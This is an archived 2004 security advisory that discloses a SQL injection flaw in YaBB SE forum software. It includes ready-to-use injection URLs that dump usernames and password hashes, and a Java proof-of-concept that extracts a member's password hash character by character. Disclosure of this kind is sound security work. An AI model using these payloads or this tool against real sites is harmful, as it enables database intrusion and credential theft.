[UNIX] Yabb SE SQL Injection Vulnerability

From: SecuriTeam (support_at_securiteam.com)
Date: 01/22/04

  • Next message: SecuriTeam: "[UNIX] Unofficial Patch for Qmail Crash After Long SMTP Session"
    To: list@securiteam.com
    Date: 22 Jan 2004 17:28:38 +0200
    
    

    The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: http://www.securiteam.com
    - - promotion

    The SecuriTeam alerts list - Free, Accurate, Independent.

    Get your security news from a reliable source.
    http://www.securiteam.com/mailinglist.html

    - - - - - - - - -

      Yabb SE SQL Injection Vulnerability
    ------------------------------------------------------------------------

    SUMMARY

     <http://www.yabbse.org/> YaBB SE is a PHP/MySQL port of the popular forum
    software YaBB (yet another bulletin board).

    An SQL injection vulnerability allows a remote attacker to execute
    malicious SQL statements on the database remotely.

    DETAILS

    Vulnerable Systems:
     * YaBB SE versions 1.5.3, 1.5.4, possibly others

    Immune Systems:
     * YaBB SE version 1.5.5

    The file SSI.php has a number of functions that return some information
    about the status of the forum like recent topics, boards statistics and so
    on. Functions 'welcome' and 'recentTopics' are vulnerable to SQL injection
    because the parameter ID_MEMBER is not checked against malicious input.

    Example:

    http://vulnhost/yabbse/SSI.php?function=recentTopics&ID_MEMBER=1+OR+1=2)+LEFT+JOIN+yabbse_log_mark_read+AS+lmr+ON+(lmr.ID_BOARD=t.ID_BOARD+AND+lmr.ID_MEMBER=1+OR+1=2)+WHERE+m.ID_MSG+IN+(2,1)+AND+t.ID_TOPIC=m.ID_TOPIC+AND+b.ID_BOARD=t.ID_BOARD+UNION+SELECT+ID_MEMBER,+memberName,null,passwd,null,passwd,null,null,null,null,null,null+FROM+yabbse_members+/*

    http://vulnhost/yabbse/SSI.php?function=recentTopics&ID_MEMBER=1+OR+1=1)+LEFT+JOIN+yabbse_log_mark_read+AS+lmr+ON+(lmr.ID_BOARD=t.ID_BOARD+AND+lmr.ID_MEMBER=1+OR+1=1)+UNION+SELECT+ID_MEMBER,+memberName,null,passwd,null,passwd,null,null,null,null,null,null+FROM+yabbse_members+/*

    Those requests return a page showing all usernames and hashed passwords.

    [General Discussion] test post by test January 01, 2001, 03:00:01 pm
    [] admin by [hashed pass] January 01, 1970, 01:00:01 am
    [] test_user by [hashed pass] January 01, 1970, 01:00:02 am

    http://vulnhost/yabbse/SSI.php?function=welcome&username=evilhaxor&ID_MEMBER=1+OR+1=2)+GROUP+BY+readBy+UNION+SELECT+ASCII(SUBSTRING(realName,1,1)+)+,+0+FROM+yabbse_members+WHERE+ID_MEMBER=1/*

    This request return the value of the first character from the realName of
    the user whose ID_MEMBER is 1.

    Proof-of-Concept code:
    A proof-of-concept code is available demonstrating the problem.

    /*
    * YabbSe SQL Injection test code
    * The code is very ugly but it works OK
    * Use at your own risk.
    * compile:
    * javac yabb.java
    * exec:
    * java yabb http://localhost/yabbse/yabbse154/ yabbse_ 1
    * parameters are:
    * java yabb [url with path] [database_prefix] [ID_MEMBER]
    */
    import java.net.*;
    import java.io.*;

    public class yabb {
      public static void main(String[] args) throws Exception {

    boolean lastChar = false;
    String Key = "";

        for ( int count=1; count < = 32 ; count++)
        {
     URL yabbForum = new URL(args[0] +
    "SSI.php?function=welcome&username=evilhaxor&ID_MEMBER=1%20OR%201=2)%20GROUP
    %20BY%20readBy%20UNION%20SELECT%20ASCII(SUBSTRING(passwd,"+count+",1)%20)%20
    %20,%20%200%20FROM%20"+args[1]+"members%20WHERE%20ID_MEMBER="+args[2]+"/*");

     BufferedReader in = new BufferedReader(new
    InputStreamReader(yabbForum.openStream()));

     String inputLine;

     inputLine = in.readLine();

     int pos = inputLine.indexOf("action=im");
     int pos2 = inputLine.indexOf(" ", pos + 11);

     if ( pos < 0 )
     {
     System.out.println("ERROR: The server doesn't return any data");
     System.exit(0);
     }

     String theNumber = inputLine.substring( pos + 11, pos2);

     System.out.println(theNumber + "-" + new
    Character((char)Integer.parseInt(theNumber.trim())).toString());
     Key += new
    Character((char)Integer.parseInt(theNumber.trim())).toString();
     in.close();
    }
    System.out.println("Hashed password : " + Key);
      }
    }

    Vendor Status:
    The vendor was contacted and the vulnerabilities were fixed. Upgrade to
    version 1.5.5.

    ADDITIONAL INFORMATION

    The information has been provided by <mailto:backspace_2k@terra.es>
    backspace

    ========================================

    This bulletin is sent to members of the SecuriTeam mailing list.
    To unsubscribe from the list, send mail with an empty subject line and body to: list-unsubscribe@securiteam.com
    In order to subscribe to the mailing list, simply forward this email to: list-subscribe@securiteam.com

    ====================
    ====================

    DISCLAIMER:
    The information in this bulletin is provided "AS IS" without warranty of any kind.
    In no event shall we be liable for any damages whatsoever including direct, indirect, incidental, consequential, loss of business profits or special damages.


  • Next message: SecuriTeam: "[UNIX] Unofficial Patch for Qmail Crash After Long SMTP Session"

    Relevant Pages

    • [UNIX] Trend Micro VirusWall Buffer Overflow in VSAPI Library
      ... The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: http://www.securiteam.com ... buffer overflow vulnerability in VSAPI library allows arbitrary code ... is called "vscan" which is set suid root by default. ... permissions and thus granted all local users the privilege to execute the ...
      (Securiteam)
    • [UNIX] SCO Multiple Local Buffer Overflow
      ... The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: http://www.securiteam.com ... Local exploitation of a buffer overflow vulnerability in the ppp binary, ... allows attackers to gain root privileges. ...
      (Securiteam)
    • [NT] Microsoft Word 6.0/95 Document Converter Buffer Overflow (MS04-041)
      ... The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: http://www.securiteam.com ... WordPad is "a word processing application that uses the MFC rich edit ... Remote exploitation of a buffer overflow vulnerability in Microsoft ... Microsoft Word format files into the Rich Text Format natively handled by ...
      (Securiteam)
    • [UNIX] Tikiwiki Command Injection and Arbitrary File Exposure Vulnerabilities
      ... The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: http://www.securiteam.com ... Two security vulnerabilities have been recently discovered in Tikiwiki, ... Remote exploitation of an input validation vulnerability in Tikiwiki ... allows attackers to gain access to arbitrary files on the vulnerable ...
      (Securiteam)
    • [NT] Ipswitch Multiple Vulnerabilities (IMail IMAP LIST Command DoS, Collaboration Suite SMTP Format
      ... The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: http://www.securiteam.com ... Ipswitch Multiple Vulnerabilities (IMail IMAP LIST Command DoS, ... Collaboration Suite SMTP Format String) ... Remote exploitation of a denial of service vulnerability in Ipswitch ...
      (Securiteam)